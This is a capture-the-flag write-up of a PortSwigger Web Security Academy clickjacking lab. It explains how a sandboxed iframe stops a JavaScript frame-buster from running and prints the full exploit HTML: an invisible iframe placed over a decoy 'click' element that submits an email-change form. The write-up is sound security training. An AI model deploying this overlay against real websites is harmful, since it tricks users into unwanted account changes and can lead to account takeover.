| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Clickjacking — Frame Buster Bypass via sandbox |
| Difficulty | Apprentice |
| Objective | Bypass the frame buster script and trick the victim into changing their email address |
Clickjacking with a Frame Buster Script — Writeup¶
Initial Observation¶
Logged in as wiener:peter. Intercepting the email change request:
The request sends the email value and CSRF token via POST. Same as before, the ?email= URL parameter prefills the form field:
But inspecting the form source reveals something new:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="">
<script>
if(top != self) {
window.addEventListener("DOMContentLoaded", function() {
document.body.innerHTML = 'This page cannot be framed';
}, false);
}
</script>
<input required="" type="hidden" name="csrf" value="vJPhdZPZkcuuzmXgm8JHxt56TKaEGeNZ">
<button class="button" type="submit"> Update email </button>
</form>
There's a frame buster script embedded in the form. It checks if(top != self) — meaning if the page is loaded inside an iframe, window.top (the parent) won't equal window.self (the current frame), and the script replaces the entire body with "This page cannot be framed". Loading it in a plain iframe gives exactly that:
Attack Path¶
Bypassing the Frame Buster with sandbox¶
The frame buster is JavaScript — and we can prevent it from running by using the sandbox attribute on the iframe. sandbox="allow-forms" restricts the iframe to only being able to submit forms, blocking script execution entirely. The frame buster never runs, the page loads normally, and form submissions still work.
Exploit server body:
<style>
iframe {
width: 500px;
height: 600px;
opacity: xxx;
}
div {
position: absolute;
top: 490px;
left: 40px;
}
</style>
<div>click</div>
<iframe sandbox="allow-forms" src="https://0af000a70480a3e481bfb33b006700a9.web-security-academy.net/[email protected]"></iframe>
The "click" div sits right over the Update email button. Setting opacity: 0.001 to make the iframe invisible and delivering the exploit to the victim:
Lab solved :P
Resources¶
- PortSwigger — Clickjacking
- PortSwigger — Frame busting scripts
- MDN — iframe sandbox
- MDN — X-Frame-Options
- Burp Suite Professional — Clickbandit, exploit server